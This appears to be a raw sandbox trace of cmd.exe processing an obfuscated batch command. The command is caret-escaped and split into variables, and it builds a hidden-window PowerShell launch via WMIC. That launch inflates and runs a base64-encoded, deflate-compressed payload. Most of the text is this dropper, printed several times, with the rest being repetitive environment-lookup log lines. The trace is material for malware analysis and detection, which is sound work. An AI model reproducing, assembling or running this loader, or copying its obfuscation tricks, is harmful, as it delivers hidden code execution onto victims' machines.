S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR%%m^Lwq%%^lPo%%") returned -7 [0084.787] wcstol (in: _String="1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR%%m^Lwq%%^lPo%%^", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*="% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR%%m^Lwq%%^lPo%%^i") returned 1 [0084.787] GetEnvironmentVariableW (in: lpName="r^M", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.787] _wcsicmp (_String1="r^M", _String2="CD") returned 15 [0084.787] _wcsicmp (_String1="r^M", _String2="ERRORLEVEL") returned 13 [0084.787] _wcsicmp (_String1="r^M", _String2="CMDEXTVERSION") returned 15 [0084.787] _wcsicmp (_String1="r^M", _String2="CMDCMDLINE") returned 15 [0084.788] _wcsicmp (_String1="r^M", _String2="DATE") returned 14 [0084.788] _wcsicmp (_String1="r^M", _String2="TIME") returned -2 [0084.788] _wcsicmp (_String1="r^M", _String2="RANDOM") returned -3 [0084.788] _wcsicmp (_String1="r^M", _String2="HIGHESTNUMANODENUMBER") returned 10 [0084.789] GetEnvironmentVariableW (in: lpName="B^9s", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.789] _wcsicmp (_String1="B^9s", _String2="CD") returned -1 [0084.789] _wcsicmp (_String1="B^9s", _String2="ERRORLEVEL") returned -3 [0084.789] _wcsicmp (_String1="B^9s", _String2="CMDEXTVERSION") returned -1 [0084.789] _wcsicmp (_String1="B^9s", _String2="CMDCMDLINE") returned -1 [0084.789] _wcsicmp (_String1="B^9s", _String2="DATE") returned -2 [0084.789] _wcsicmp (_String1="B^9s", _String2="TIME") returned -18 [0084.789] _wcsicmp (_String1="B^9s", _String2="RANDOM") returned -16 [0084.789] _wcsicmp (_String1="B^9s", _String2="HIGHESTNUMANODENUMBER") returned -6 [0084.790] GetEnvironmentVariableW (in: lpName="7z", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.790] _wcsicmp (_String1="7z", _String2="CD") returned -44 [0084.790] _wcsicmp (_String1="7z", _String2="ERRORLEVEL") returned -46 [0084.790] _wcsicmp (_String1="7z", _String2="CMDEXTVERSION") returned -44 [0084.790] _wcsicmp (_String1="7z", _String2="CMDCMDLINE") returned -44 [0084.790] _wcsicmp (_String1="7z", _String2="DATE") returned -45 [0084.790] _wcsicmp (_String1="7z", _String2="TIME") returned -61 [0084.790] _wcsicmp (_String1="7z", _String2="RANDOM") returned -59 [0084.790] _wcsicmp (_String1="7z", _String2="HIGHESTNUMANODENUMBER") returned -49 [0084.790] GetEnvironmentVariableW (in: lpName="s^O", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.790] _wcsicmp (_String1="s^O", _String2="CD") returned 16 [0084.790] _wcsicmp (_String1="s^O", _String2="ERRORLEVEL") returned 14 [0084.790] _wcsicmp (_String1="s^O", _String2="CMDEXTVERSION") returned 16 [0084.790] _wcsicmp (_String1="s^O", _String2="CMDCMDLINE") returned 16 [0084.790] _wcsicmp (_String1="s^O", _String2="DATE") returned 15 [0084.790] _wcsicmp (_String1="s^O", _String2="TIME") returned -1 [0084.790] _wcsicmp (_String1="s^O", _String2="RANDOM") returned 1 [0084.790] _wcsicmp (_String1="s^O", _String2="HIGHESTNUMANODENUMBER") returned 11 [0084.791] GetEnvironmentVariableW (in: lpName="c^g", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.791] _wcsicmp (_String1="c^g", _String2="CD") returned -6 [0084.791] _wcsicmp (_String1="c^g", _String2="ERRORLEVEL") returned -2 [0084.791] _wcsicmp (_String1="c^g", _String2="CMDEXTVERSION") returned -15 [0084.791] _wcsicmp (_String1="c^g", _String2="CMDCMDLINE") returned -15 [0084.791] _wcsicmp (_String1="c^g", _String2="DATE") returned -1 [0084.791] _wcsicmp (_String1="c^g", _String2="TIME") returned -17 [0084.791] _wcsicmp (_String1="c^g", _String2="RANDOM") returned -15 [0084.791] _wcsicmp (_String1="c^g", _String2="HIGHESTNUMANODENUMBER") returned -5 [0084.791] GetEnvironmentVariableW (in: lpName="^rj^UN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="CD") returned -5 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="ERRORLEVEL") returned -7 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="CMDEXTVERSION") returned -5 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="CMDCMDLINE") returned -5 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="DATE") returned -6 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="TIME") returned -22 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="RANDOM") returned -20 [0084.791] _wcsicmp (_String1="^rj^UN", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.792] GetEnvironmentVariableW (in: lpName="sZ^G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.792] _wcsicmp (_String1="sZ^G", _String2="CD") returned 16 [0084.792] _wcsicmp (_String1="sZ^G", _String2="ERRORLEVEL") returned 14 [0084.792] _wcsicmp (_String1="sZ^G", _String2="CMDEXTVERSION") returned 16 [0084.792] _wcsicmp (_String1="sZ^G", _String2="CMDCMDLINE") returned 16 [0084.792] _wcsicmp (_String1="sZ^G", _String2="DATE") returned 15 [0084.792] _wcsicmp (_String1="sZ^G", _String2="TIME") returned -1 [0084.792] _wcsicmp (_String1="sZ^G", _String2="RANDOM") returned 1 [0084.792] _wcsicmp (_String1="sZ^G", _String2="HIGHESTNUMANODENUMBER") returned 11 [0084.792] GetEnvironmentVariableW (in: lpName="^Vp^05", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="CD") returned -5 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="ERRORLEVEL") returned -7 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="CMDEXTVERSION") returned -5 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="CMDCMDLINE") returned -5 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="DATE") returned -6 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="TIME") returned -22 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="RANDOM") returned -20 [0084.792] _wcsicmp (_String1="^Vp^05", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.793] GetEnvironmentVariableW (in: lpName="^8R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.793] _wcsicmp (_String1="^8R", _String2="CD") returned -5 [0084.793] _wcsicmp (_String1="^8R", _String2="ERRORLEVEL") returned -7 [0084.793] _wcsicmp (_String1="^8R", _String2="CMDEXTVERSION") returned -5 [0084.793] _wcsicmp (_String1="^8R", _String2="CMDCMDLINE") returned -5 [0084.793] _wcsicmp (_String1="^8R", _String2="DATE") returned -6 [0084.793] _wcsicmp (_String1="^8R", _String2="TIME") returned -22 [0084.794] _wcsicmp (_String1="^8R", _String2="RANDOM") returned -20 [0084.794] _wcsicmp (_String1="^8R", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.794] GetEnvironmentVariableW (in: lpName="D^RKS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.794] _wcsicmp (_String1="D^RKS", _String2="CD") returned 1 [0084.794] _wcsicmp (_String1="D^RKS", _String2="ERRORLEVEL") returned -1 [0084.794] _wcsicmp (_String1="D^RKS", _String2="CMDEXTVERSION") returned 1 [0084.794] _wcsicmp (_String1="D^RKS", _String2="CMDCMDLINE") returned 1 [0084.794] _wcsicmp (_String1="D^RKS", _String2="DATE") returned -3 [0084.794] _wcsicmp (_String1="D^RKS", _String2="TIME") returned -16 [0084.794] _wcsicmp (_String1="D^RKS", _String2="RANDOM") returned -14 [0084.794] _wcsicmp (_String1="D^RKS", _String2="HIGHESTNUMANODENUMBER") returned -4 [0084.794] GetEnvironmentVariableW (in: lpName="^Eh^p", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.794] _wcsicmp (_String1="^Eh^p", _String2="CD") returned -5 [0084.794] _wcsicmp (_String1="^Eh^p", _String2="ERRORLEVEL") returned -7 [0084.794] _wcsicmp (_String1="^Eh^p", _String2="CMDEXTVERSION") returned -5 [0084.794] _wcsicmp (_String1="^Eh^p", _String2="CMDCMDLINE") returned -5 [0084.794] _wcsicmp (_String1="^Eh^p", _String2="DATE") returned -6 [0084.794] _wcsicmp (_String1="^Eh^p", _String2="TIME") returned -22 [0084.795] _wcsicmp (_String1="^Eh^p", _String2="RANDOM") returned -20 [0084.795] _wcsicmp (_String1="^Eh^p", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.795] GetEnvironmentVariableW (in: lpName="gx^b", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.795] _wcsicmp (_String1="gx^b", _String2="CD") returned 4 [0084.795] _wcsicmp (_String1="gx^b", _String2="ERRORLEVEL") returned 2 